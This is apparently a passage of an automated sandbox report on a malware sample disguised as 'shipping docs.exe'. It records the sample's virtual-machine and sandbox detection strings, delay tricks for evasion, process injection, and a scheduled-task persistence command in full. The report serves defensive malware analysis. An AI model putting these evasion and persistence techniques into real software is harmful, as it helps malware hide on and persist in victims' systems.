Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: 0000000E.00000002.343723068.0000000002D38000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.365709519.0000000002CA7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: shipping docs.exe PID: 2400, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: yVGAJfiVEvtg.exe PID: 4552, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: VMqTMMD.exe PID: 1280, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: shipping docs.exe, 00000000.00000002.265489624.0000000002481000.00000004.00000800.00020000.00000000.sdmp, yVGAJfiVEvtg.exe, 00000004.00000002.365709519.0000000002CA7000.00000004.00000800.00020000.00000000.sdmp, VMqTMMD.exe, 0000000E.00000002.343723068.0000000002D38000.00000004.00000800.00020000.00000000.sdmp, VMqTMMD.exe, 0000000F.00000002.374361259.0000000002D38000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: shipping docs.exe, 00000000.00000002.265489624.0000000002481000.00000004.00000800.00020000.00000000.sdmp, yVGAJfiVEvtg.exe, 00000004.00000002.365709519.0000000002CA7000.00000004.00000800.00020000.00000000.sdmp, VMqTMMD.exe, 0000000E.00000002.343723068.0000000002D38000.00000004.00000800.00020000.00000000.sdmp, VMqTMMD.exe, 0000000F.00000002.374361259.0000000002D38000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Users\user\Desktop\shipping docs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Source: C:\Users\user\Desktop\shipping docs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\user\Desktop\shipping docs.exe TID: 2292	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe TID: 1708	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe TID: 6088	Thread sleep count: 9753 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe TID: 5596	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe TID: 3956	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe TID: 2092	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe TID: 4912	Thread sleep time: -23058430092136925s >= -30000s
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe TID: 3324	Thread sleep count: 9727 > 30
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe TID: 908	Thread sleep time: -14757395258967632s >= -30000s
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe TID: 1392	Thread sleep count: 9676 > 30

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\shipping docs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\shipping docs.exe	Window / User API: threadDelayed 9753	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Window / User API: threadDelayed 9727
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Window / User API: threadDelayed 9676

Source: C:\Users\user\Desktop\shipping docs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\shipping docs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\shipping docs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\shipping docs.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\shipping docs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Thread delayed: delay time: 922337203685477

Source: VMqTMMD.exe, 0000000F.00000002.374361259.0000000002D38000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware SVGA IIOData Source=localhost\sqlexpress;Initial Catalog=dbSMS;Integrated Security=True
Source: VMqTMMD.exe, 0000000F.00000002.374361259.0000000002D38000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: VMqTMMD.exe, 0000000F.00000002.374361259.0000000002D38000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: VMqTMMD.exe, 0000000F.00000002.374361259.0000000002D38000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SOFTWARE\VMware, Inc.\VMware Tools
Source: VMqTMMD.exe, 00000015.00000002.512897668.0000000001029000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllowerManagementCapabilities
Source: VMqTMMD.exe, 0000000F.00000002.374361259.0000000002D38000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWARE
Source: VMqTMMD.exe, 0000000F.00000002.374361259.0000000002D38000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: VMqTMMD.exe, 0000000F.00000002.374361259.0000000002D38000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
Source: VMqTMMD.exe, 0000000F.00000002.374361259.0000000002D38000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware SVGA II
Source: VMqTMMD.exe, 0000000F.00000002.374361259.0000000002D38000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmwareNSYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000
Source: shipping docs.exe, 00000003.00000002.514223306.0000000001202000.00000004.00000020.00020000.00000000.sdmp, shipping docs.exe, 00000003.00000003.309409191.00000000011FB000.00000004.00000020.00020000.00000000.sdmp, yVGAJfiVEvtg.exe, 00000012.00000002.552042956.0000000006640000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\shipping docs.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\shipping docs.exe

Code function: 3_2_0684DA38 LdrInitializeThunk,

3_2_0684DA38

Source: C:\Users\user\Desktop\shipping docs.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\shipping docs.exe	Memory written: C:\Users\user\Desktop\shipping docs.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Memory written: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Memory written: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe base: 400000 value starts with: 4D5A

Source: C:\Users\user\Desktop\shipping docs.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\yVGAJfiVEvtg" /XML "C:\Users\user\AppData\Local\Temp\tmp7934.tmp	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process created: C:\Users\user\Desktop\shipping docs.exe {path}	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\yVGAJfiVEvtg" /XML "C:\Users\user\AppData\Local\Temp\tmpF5B7.tmp	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process created: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe {path}	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\yVGAJfiVEvtg" /XML "C:\Users\user\AppData\Local\Temp\tmp3418.tmp
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process created: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe {path}

Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Users\user\Desktop\shipping docs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
